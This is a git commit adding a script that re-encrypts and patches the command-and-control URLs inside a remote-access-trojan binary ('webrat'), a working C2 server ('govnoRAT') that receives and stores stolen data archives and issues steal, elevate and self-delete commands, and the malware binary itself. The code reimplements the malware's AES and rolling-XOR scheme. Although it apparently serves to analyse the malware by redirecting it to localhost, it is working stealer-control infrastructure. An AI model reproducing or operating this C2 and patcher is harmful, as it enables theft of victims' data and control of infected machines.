commit f51748e76583906063178a33f303a2fc738ee692 Author: i2p Date: Thu Aug 27 11:23:33 2026 -0600 initial commit diff --git a/patch.py b/patch.py new file mode 100644 index 0000000..bb043d6 --- /dev/null +++ b/patch.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 + +from Crypto.Cipher import AES +from Crypto.Random import get_random_bytes +import hashlib +import os + +def rolling_xor_encode(data): + result = bytearray(data) + for i in range(1, len(result)): + result[i] ^= result[i - 1] + return bytes(result) + +def rolling_xor_decode(data): + result = bytearray(data) + for i in range(len(result) - 1, 0, -1): + result[i] ^= result[i - 1] + return bytes(result) + +def xor_with_key(data, key): + return bytes(data[i] ^ key[i % len(key)] for i in range(len(data))) + +def encrypt_mode_1(plaintext, aes_key): + nonce = get_random_bytes(12) + cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce) + ciphertext, tag = cipher.encrypt_and_digest(plaintext) + return nonce + ciphertext + tag + +def encrypt_mode_4(data, xor_key): + xored = xor_with_key(data, xor_key) + return rolling_xor_decode(xored) + +def encrypt_c2_url(url_bytes, aes_key, xor_key): + aes_encrypted = encrypt_mode_1(url_bytes, aes_key) + + hex_str = aes_encrypted.hex() + hex_bytes = hex_str.encode('latin-1') + + mode4_encrypted = encrypt_mode_4(hex_bytes, xor_key) + + final_hex = mode4_encrypted.hex() + + return final_hex + +def decrypt_mode_4(data, xor_key): + rolled = rolling_xor_encode(data) + return xor_with_key(rolled, xor_key) + +def decrypt_mode_1(data, aes_key): + nonce = data[:12] + tag = data[-16:] + ciphertext = data[12:-16] + cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce) + return cipher.decrypt_and_verify(ciphertext, tag) + +def decrypt_c2(enc_hex, aes_key, xor_key): + encrypted = bytes.fromhex(enc_hex) + after_mode4 = decrypt_mode_4(encrypted, xor_key) + hex_str = after_mode4.decode('latin-1') + intermediate = bytes.fromhex(hex_str) + url = decrypt_mode_1(intermediate, aes_key) + return url + +md5_biba = hashlib.md5(b"biba").digest() +aes_key = rolling_xor_encode(md5_biba) +xor_key = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c") + +print("=" * 70) +print("patch") +print("=" * 70) +print(f"AES Key: {aes_key.hex()}") +print(f"XOR Key: {xor_key.hex()}") +print() + +#encrypted_hex_len = (url_len + 12 + 16) * 4 +#url_len = encrypted_hex_len / 4 - 28 + +original_c2s = [ + {"name": "C2[0]", "offset": 0x599252, "orig_len": 212, + "orig_enc": "e72c8df43c680b056c60696d57a7f207043b690a5a603000070b5b7285a23e6c54046331393e5afeab0e0e356c0706383b56050c057188f26c3f07506461686202aba6050a606c5752373551060c5a7adda06c6b0e59316d6b3602a0f055023b6c0156673752070a0b23"}, + {"name": "C2[1]", "offset": 0x598FF6, "orig_len": 200, + "orig_enc": "b3288da43d6f5e0a64643e6b0ca8a505026a6a0703663702590001238fa16d685a0e313768325ea6a0095c3d6c005c3a3350050b0b28ddf33e6a5c526e6f316a5af9f457556f69565668615a510b0f2adaf53d3a580c34613b3b5ba7fe5507693b570232"}, + {"name": "C2[2]", "offset": 0x599326, "orig_len": 212, + "orig_enc": "e62f8cf43b6e5f536e616d6a59faa152526466050c616e5c0d0d5c7b8ef56e6b0f0962656a3c59faa704023a38075b616951570b5e2889a06a6f0e503b336b6b0cf5ad0007383e070161335b5b0e0c2f8cf26e3b5f0d3d6d6f3e5aabf450026a3b0150626751035d5a7e"}, + {"name": "C2[3]", "offset": 0x5993FA, "orig_len": 220, + "orig_enc": "e62cdba2386a0e0a6568313c08aca95a016e345802373305500c0c7d88f73d385d5d65633c385fabf504563e6d5405353353005d0a7fd8f039395f0f3a696e3a59f9f65a0d3364555e3d3205565804248ef5346a02086369606a0afdf5565f6f625450676506045e56778ef53b3a"}, + {"name": "BC[0]", "offset": 0x599186, "orig_len": 204, + "orig_enc": "b22c8da23c6d0d5b65303c3f5ba9f30300683a00546d6a025501502cd0f963360d593261396a5dabf000563a3e5605636156015d0b7cdfaf3736540e616738395df0ff5053386856503b3e53565b01258ba1386a0f59363c613d5af6ad51543d385057306705"}, +] + +print("=" * 70) +print("CALCULATING EXACT URL LENGTHS") +print("=" * 70) + +for c2 in original_c2s: + # url_len = encrypted_hex_len / 4 - 28 (nonce 12 + tag 16) + required_url_len = c2["orig_len"] // 4 - 28 + print(f"{c2['name']}: encrypted_len={c2['orig_len']} -> url_len={required_url_len}") + c2["required_url_len"] = required_url_len + +print() + +# C2[0]: 25, C2[1]: 22, C2[2]: 25, C2[3]: 27, BC[0]: 23 + +new_urls = { + "C2[0]": "http://127.0.0.1/salat/", # 24 + "C2[1]": "http://127.0.0.1/sa1/", # 21 + "C2[2]": "http://127.0.0.1/salat/", # 24 + "C2[3]": "http://127.0.0.1/salat/", # 24 + "BC[0]": "http://127.0.0.1/sa1a/", # 22 +} + +print("=" * 70) +print("GENERATING ENCRYPTED URLs") +print("=" * 70) + +for c2 in original_c2s: + base = new_urls[c2["name"]] + required = c2["required_url_len"] + + if len(base) < required: + url = base + "x" * (required - len(base)) + elif len(base) > required: + url = base[:required] + else: + url = base + + url_bytes = url.encode('utf-8') + + print(f"\n{c2['name']}:") + print(f" URL: {url} ({len(url)} chars)") + + encrypted = encrypt_c2_url(url_bytes, aes_key, xor_key) + + print(f" Encrypted len: {len(encrypted)} (required: {c2['orig_len']})") + + if len(encrypted) != c2["orig_len"]: + print(f" [ERROR] Length mismatch!") + exit(1) + + try: + decrypted = decrypt_c2(encrypted, aes_key, xor_key) + print(f" Verify: {decrypted.decode('utf-8')}") + except Exception as e: + print(f" [ERROR] Verification failed: {e}") + exit(1) + + c2["new_url"] = url + c2["new_encrypted"] = encrypted + +print() + +INPUT_FILE = "webrat.exe1" +OUTPUT_FILE = "webrat_patched.exe" + +if os.path.exists(INPUT_FILE): + print("=" * 70) + print("PATCHING BINARY") + print("=" * 70) + + with open(INPUT_FILE, "rb") as f: + data = bytearray(f.read()) + + print(f"Read {len(data)} bytes from {INPUT_FILE}") + + for c2 in original_c2s: + orig_enc_bytes = c2["orig_enc"].encode('ascii') + new_enc_bytes = c2["new_encrypted"].encode('ascii') + + found_at = data.find(orig_enc_bytes) + if found_at == -1: + print(f" [-] {c2['name']}: NOT FOUND!") + continue + + if len(new_enc_bytes) != len(orig_enc_bytes): + print(f" [!] {c2['name']}: FATAL length mismatch!") + continue + + data[found_at:found_at + len(orig_enc_bytes)] = new_enc_bytes + print(f" [+] {c2['name']}: Patched at 0x{found_at:X}") + print(f" {c2['new_url']}") + + with open(OUTPUT_FILE, "wb") as f: + f.write(data) + + print() + print(f"[+] Saved: {OUTPUT_FILE}") + + print() + print("=" * 70) + print("FINAL VERIFICATION") + print("=" * 70) + + with open(OUTPUT_FILE, "rb") as f: + patched = f.read() + + for c2 in original_c2s: + enc_bytes = c2["new_encrypted"].encode('ascii') + pos = patched.find(enc_bytes) + if pos >= 0: + try: + dec = decrypt_c2(c2["new_encrypted"], aes_key, xor_key) + print(f" {c2['name']}: {dec.decode('utf-8')}") + except Exception as e: + print(f" {c2['name']}: FAILED - {e}") + + print() + print("=" * 70) + print("DONE!") + print("=" * 70) +else: + print(f"[-] File not found: {INPUT_FILE}") + diff --git a/server.py b/server.py new file mode 100644 index 0000000..6023acb --- /dev/null +++ b/server.py @@ -0,0 +1,258 @@ +#!/usr/bin/env python3 +""" +https://t.me/neverliet_projects +""" +import asyncio +import base64 +import json +import hashlib +import os +import sys +import threading +import uuid +from datetime import datetime +from pathlib import Path +from aiohttp import web + +HOST = "0.0.0.0" +PORT = 80 +LOOT_DIR = Path("loot") +LOOT_DIR.mkdir(exist_ok=True) + +def rolling_xor_decode(data): + result = bytearray(data) + for i in range(len(result) - 1, 0, -1): + result[i] ^= result[i - 1] + return bytes(result) + +def rolling_xor_encode(data): + result = bytearray(data) + for i in range(1, len(result)): + result[i] ^= result[i - 1] + return bytes(result) + +def xor_with_key(data, key): + return bytes(data[i] ^ key[i % len(key)] for i in range(len(data))) + +XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c") + +def decrypt_mode5(data): + """ + Mode 5 = XOR_key -> Rolling_Encode + decrypt = Rolling_Decode -> XOR_key + """ + step1 = rolling_xor_decode(data) + step2 = xor_with_key(step1, XOR_KEY) + return step2 + +def encrypt_mode5(data): + step1 = xor_with_key(data, XOR_KEY) + step2 = rolling_xor_encode(step1) + return step2 + +def prepare_mode5_response(plaintext): + return decrypt_mode5(plaintext) + +pending_command = None +clients = {} + +def log(msg, level="INFO"): + timestamp = datetime.now().strftime("%H:%M:%S") + colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"} + print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m") + +def save_important(client_id, data_type, data, ext="bin"): + client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_") + client_dir.mkdir(exist_ok=True) + + timestamp = datetime.now().strftime("%H%M%S") + filepath = client_dir / f"{timestamp}_{data_type}.{ext}" + + mode = "w" if isinstance(data, str) else "wb" + with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f: + f.write(data) + + log(f"SAVED: {filepath}", "WARN") + return filepath + +async def handle_request(request): + global pending_command + + client_ip = request.remote + data = await request.read() + + if not data: + return web.Response(text="OK") + + # Decrypt + request_type = "1" + hwid = "" + + try: + decrypted = decrypt_mode5(data) + + if decrypted[:2] == b'PK': + log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN") + save_important(client_ip, "STOLEN_DATA", decrypted, "zip") + return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream") + + try: + req = json.loads(decrypted) + # Debug: show raw request for type 6 + if str(req.get("1", "")) == "6": + log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA") + request_type = str(req.get("1", "1")) + hwid = req.get("k", req.get("2", "")) + + if request_type not in ["1", "2", "5", "7"]: + log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA") + + if hwid and hwid not in clients: + clients[hwid] = {"ip": client_ip, "first": datetime.now()} + log(f"NEW CLIENT: {hwid}", "WARN") + + if request_type == "5" and "3" in req: + sysinfo = req["3"] + log(f"SYSINFO: {sysinfo[:100]}...", "WARN") + save_important(client_ip, "sysinfo", sysinfo, "json") + + if request_type == "6" and "3" in req: + try: + stolen_b64 = req["3"] + log(f"Base64 length: {len(stolen_b64)}", "DATA") + stolen_data = base64.b64decode(stolen_b64) + log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN") + # Check if valid ZIP + if stolen_data[:2] == b'PK': + log(f"Valid ZIP file received!", "WARN") + save_important(client_ip, "STOLEN_DATA", stolen_data, "zip") + else: + log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA") + save_important(client_ip, "STOLEN_DATA", stolen_data, "bin") + except Exception as e: + log(f"Failed to decode stolen data: {e}", "ERROR") + + # Handle error/log (type 7) + if request_type == "7": + log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA") + + except json.JSONDecodeError: + log(f"Non-JSON data: {len(decrypted)} bytes", "DATA") + + except Exception as e: + log(f"Error: {e}", "ERROR") + + # Prepare response + if request_type == "1": + response = b'{"1":0,"2":50}' + log(f"[HEARTBEAT] OK", "CMD") + + elif request_type == "2": + if pending_command: + cmd = pending_command + pending_command = None + + task_id = str(uuid.uuid4())[:8] + if cmd == "9": + # STEAL needs "2" = path (00 default), "3" = taskid + response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode() + else: + response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode() + log(f">>> SENDING: {response.decode()} <<<", "WARN") + else: + response = b'{"1":""}' + + elif request_type == "5": + response = b'{"1":0,"2":0}' + + elif request_type == "6": + log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN") + response = b'1' + + elif request_type == "7": + response = b'{"1":0,"2":0}' + + else: + response = b'{"1":0,"2":0}' + + return web.Response( + body=prepare_mode5_response(response), + content_type="application/octet-stream" + ) + +def cli_thread(): + global pending_command + + print("\n" + "="*50) + print("https://t.me/neverliet_projects - Commands:") + print(" steal - Send STEAL command") + print(" stop - Stop malware") + print(" suicide - Self-delete malware") + print(" clients - Show clients") + print(" loot - Show loot") + print(" exit - Exit") + print("="*50 + "\n") + + while True: + try: + cmd = input("\033[94m[C2]>\033[0m ").strip().lower() + + if cmd == "steal": + pending_command = "9" + print(">>> STEAL command queued!") + elif cmd == "stop": + pending_command = "3" + print(">>> STOP command queued!") + elif cmd == "suicide": + pending_command = "4" + print(">>> SUICIDE command queued!") + elif cmd == "elevate": + pending_command = "b" + print(">>> ELEVATE command queued!") + elif cmd == "clients": + if clients: + for h, i in clients.items(): + print(f" {h}: {i['ip']}") + else: + print(" No clients yet") + elif cmd == "loot": + files = list(LOOT_DIR.rglob("*")) + if files: + for f in files: + if f.is_file(): + print(f" {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)") + else: + print(" No loot yet") + elif cmd == "exit": + os._exit(0) + elif cmd: + print(f"Unknown: {cmd}") + + except (KeyboardInterrupt, EOFError): + pass + +def main(): + print(f""" +╔════════════════════════════════════════════╗ +║ govnoRAT C2 SERVER ║ +║ Port: {PORT} ║ +║ Loot: ./loot/ ║ +╚════════════════════════════════════════════╝ +""") + + log(f"Starting on {HOST}:{PORT}", "INFO") + + app = web.Application(client_max_size=100*1024*1024) + app.router.add_route("*", "/{path:.*}", handle_request) + + cli = threading.Thread(target=cli_thread, daemon=True) + cli.start() + + try: + web.run_app(app, host=HOST, port=PORT, print=None) + except PermissionError: + log("Permission denied! Run as Administrator", "ERROR") + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/webrat.exe1 b/webrat.exe1 new file mode 100644 index 0000000..43dd69f Binary files /dev/null and b/webrat.exe1 differ